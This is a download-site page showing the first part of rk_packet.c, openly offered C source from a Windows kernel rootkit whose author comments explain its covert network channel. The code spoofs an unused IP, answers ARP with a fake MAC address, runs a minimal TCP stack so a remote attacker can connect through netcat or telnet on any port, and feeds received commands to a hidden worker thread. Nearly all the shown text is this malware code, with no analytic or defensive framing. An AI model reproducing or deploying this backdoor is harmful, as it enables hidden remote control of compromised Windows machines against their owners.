⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 rk_packet.c

📁 能够在windows 2000以上操作系统下隐藏特定的进程
💻 C
📖 第 1 页 / 共 2 页
字号:

#include "rk_driver.h"
#include "rk_packet.h"

//////////////////////////////////////////////////////////////////////////////////////
// this file handles all packet I/O operations for the rootkit, including a
// rudimentary TCP/IP stack.  The TCP/IP stack is a hack at best and uses a global
// packet buffer along with tracking ACK/SYNC numbers.  It has been tested and works
// with many clients in the lab.  Connecting to this over a long-distance link has
// NOT been tested.  Also, some MS TCP/IP stacks don't get along with it.  NetCat works
// fine from a linux box we tested.  Telnet works also, but rootkit doesn't handle the
// telnet IAC sequences.
//
// The rootkit spoofs an IP address of your choosing.  Currently, you must compile this
// IP address into the rootkit.  (you can hexedit-patch it also)
//
// When an ARP request is made for the spoofed IP address, rootkit responds with a
// fake ethernet address of 0xDEADBEEFDEAD.  ALL packets destined for this MAC address
// will be handled as part of the rootkit session.  This means you can telnet to the
// rootkit, any port.  Source and destination TCP ports are IGNORED - so you can create
// some creative packets in order to connect to the rootkit.
//
// The spoofed IP address you choose be routable to your target, in other words, pick
// an unused address in the subnet your rootkit lives.  UNUSED ip is important, or
// else rootkit will respond to ARP's along with the real IP - and we have a bad sort
// of competition going on. ;-)
//
// -Greg
//
//////////////////////////////////////////////////////////////////////////////////////

//-------------------------------------------
// HARD CODE FOR TARGET
// this is the IP address we want to use for
// the rootkit.
//
// 0xA600000A == 10.0.0.166
//-------------------------------------------
#define SPOOFED_IP 0xA600000A

// our rootkit ethernet address - this is hardcoded elsewhere in places
// so if you want to change it, hunt them down.
static u_char demon_addr[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD };

//win2k barfs unless this is crufted out
#if defined(NdisFreePacket)
#undef NdisFreePacket

VOID
NdisFreePacket(
   IN PNDIS_PACKET Packet
   );

#endif

/* ________________________________________________________________________________
 . This constant is used for places where NdisAllocateMemory
 . needs to be called and the HighestAcceptableAddress does
 . not matter.
 . ________________________________________________________________________________ */
NDIS_PHYSICAL_ADDRESS HighestAcceptableMax =
    NDIS_PHYSICAL_ADDRESS_CONST(-1,-1);

BFRF GlobalPtrArray[MAX_POSITIONS]; /* max recv packets waiting */
ULONG GPFront = 0;

// for maintaing TCP session
DWORD g_SYNC = 0;
DWORD g_ACK = 0;
// this is a global 'return' packet 
static char g_transaction_packet[1600];
DWORD g_transaction_len = 0;				

struct ether_header *ret_ep = NULL;
struct iphdr *ret_ih = NULL;
struct tcphdr *ret_tp = NULL;


//input from client will be stored in this little string
//and a little counter
char g_remote_command[256];
u_char g_command_index = 0; 
extern char g_command_signal[256]; //to send commands to the worker thread
extern KEVENT command_signal_event;

unsigned short htons(unsigned short a)
{
	unsigned short b = a;
	b *= 0x100;
	a /= 0x100;
	return(a+b);
}

unsigned short ntohs(unsigned short a)
{
	unsigned short b = a;
	b *= 0x100;
	a /= 0x100;
	return(a+b);
}

unsigned long htonl(unsigned long a)
{
	unsigned short u = a / 0x10000;
	unsigned short l = a & 0x0000FFFF;
	u = htons(u);
	l = htons(l);
    a = 0x10000 * l;
	return(a+u);
}

unsigned long ntohl(unsigned long a)
{
	unsigned short u = a / 0x10000;
	unsigned short l = a & 0x0000FFFF;
	u = htons(u);
	l = htons(l);
    a = 0x10000 * l;
	return(a+u);
}
						
unsigned short ip_sum(unsigned short *ptr,int nbytes) 
{
	register long           sum;            /* assumes long == 32 bits */
	u_short                 oddbyte;
	register u_short        answer;         /* assumes u_short == 16 bits */

	/*
	 * Our algorithm is simple, using a 32-bit accumulator (sum),
	 * we add sequential 16-bit words to it, and at the end, fold back
	 * all the carry bits from the top 16 bits into the lower 16 bits.
	 */

	sum = 0;
	while (nbytes > 1)  {
	sum += *ptr++;
	nbytes -= 2;
	}

	/* mop up an odd byte, if necessary */
	if (nbytes == 1) {
	oddbyte = 0;            /* make sure top half is zero */
	*((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
	sum += oddbyte;
	}

	/*
	 * Add back carry outs from top 16 bits to low 16 bits.
	 */

	sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
	sum += (sum >> 16);                     /* add carry */
	answer = ~sum;          /* ones-complement, then truncate to 16 bits */
	return(answer);
}

void tcp_sum(struct iphdr *ih, struct tcphdr *tp, u_long theDataLen)
{
	u_char *aScratchHeader = ExAllocatePool(NonPagedPool, theDataLen);
	if(tp && aScratchHeader)
	{
		// ASSERT(0 == tp->th_sum);
		int hlen = ih->ip_hl << 2; /* use this value in case there are IP options */
		int ip_len = theDataLen - sizeof (struct ether_header);

		int tcp_len = ip_len - hlen; // equals total tcp header + data
		int tcp_headerlen = (tp->th_off * 4);
		
		int buflen = sizeof(struct pseudo_header);
		buflen += tcp_len;
		
		((struct pseudo_header *)aScratchHeader)->source_address = ih->ip_src;
		((struct pseudo_header *)aScratchHeader)->dest_address = ih->ip_dst;
		((struct pseudo_header *)aScratchHeader)->placeholder = 0;
		((struct pseudo_header *)aScratchHeader)->protocol = IPPROTO_TCP;
		((struct pseudo_header *)aScratchHeader)->tcp_length = htons(tcp_len);
		memcpy(	(aScratchHeader + sizeof(struct pseudo_header)), 
				tp, 
				tcp_len);
		tp->th_sum = ip_sum( (unsigned short *) aScratchHeader, 
									sizeof(struct pseudo_header) + tcp_len );
		ExFreePool(aScratchHeader);
	}
}


/* ______________________________________________________________________
 . Send raw data over the network.  Use this function to send a frame of
 . data out over the wire.  If you expect the packet to get anywhere, you
 . will, of course, need to assemble a valid TCP/IP packet, as well as the
 . Ethernet frame.  It is suggested that you use something like ICMP 
 . or UDP to communicate - and ignore trying to keep a TCP session open.
 . Otherwise, you are going to have to implement your own TCP stack inside
 . this driver (echk!).
 . ______________________________________________________________________ */
VOID SendRaw(char *c, int len)
{
	NDIS_STATUS aStat;
	
	DbgPrint("ROOTKIT: SendRaw called\n");

	/* aquire lock, release only when send is complete */
	KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL);
	if(gOpenInstance && c){
		PNDIS_PACKET aPacketP;
		NdisAllocatePacket( &aStat, 
							&aPacketP, 
							gOpenInstance->mPacketPoolH
							);
		if(NDIS_STATUS_SUCCESS == aStat)
		{
			PVOID aBufferP;
			PNDIS_BUFFER anNdisBufferP;

			NdisAllocateMemory( &aBufferP,
								len,
								0,
								HighestAcceptableMax );
			memcpy( aBufferP, (PVOID)c, len);
			NdisAllocateBuffer( &aStat, 
								&anNdisBufferP, 
								gOpenInstance->mBufferPoolH,
								aBufferP,
								len
								);
			if(NDIS_STATUS_SUCCESS == aStat)
			{
				RESERVED(aPacketP)->Irp = NULL; /* so our OnSendDone() knows this is local */
				NdisChainBufferAtBack(aPacketP, anNdisBufferP);	
				NdisSend( &aStat, gOpenInstance->AdapterHandle, aPacketP );
				if (aStat != NDIS_STATUS_PENDING ) 
				{
					OnSendDone( gOpenInstance, aPacketP, aStat );
				}			
			}
			else
			{
				DbgPrint("rootkit: error 0x%X NdisAllocateBuffer\n");
			}
		}
		else
		{
			DbgPrint("rootkit: error 0x%X NdisAllocatePacket\n");
		}
	}
	/* release so we can send next.. */
	KeReleaseSpinLock(&GlobalArraySpinLock, gIrqL);
}

void RespondToArp(struct in_addr sip, struct in_addr tip, __int64 enaddr)
{
	struct ether_header *eh;
	struct ether_arp *ea;
	struct sockaddr sa;
	struct pps *pp = NULL;
	__int64 our_mac = 0xADDEEFBEADDE; //deadbeefdead

	ea = ExAllocatePool(NonPagedPool,sizeof(struct ether_arp));
	memset(ea, 0, sizeof (struct ether_arp));

	eh = (struct ether_header *)sa.sa_data;
	
	(void)memcpy(eh->h_dest, &enaddr, sizeof(eh->h_dest));
	(void)memcpy(eh->h_source, &our_mac, sizeof(eh->h_source));
	
	eh->h_proto = htons(ETH_P_ARP);		/* if_output will not swap */
	
	ea->arp_hrd = htons(ARPHRD_ETHER);
	ea->arp_pro = htons(ETH_P_IP);
	ea->arp_hln = sizeof(ea->arp_sha);	/* hardware address length */
	ea->arp_pln = sizeof(ea->arp_spa);	/* protocol address length */
	
	ea->arp_op = htons(ARPOP_REPLY);
	
	(void)memcpy(ea->arp_sha, &our_mac, sizeof(ea->arp_sha));
	(void)memcpy(ea->arp_tha, &enaddr, sizeof(ea->arp_tha));

	(void)memcpy(ea->arp_spa, &sip, sizeof(ea->arp_spa));
	(void)memcpy(ea->arp_tpa, &tip, sizeof(ea->arp_tpa));

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -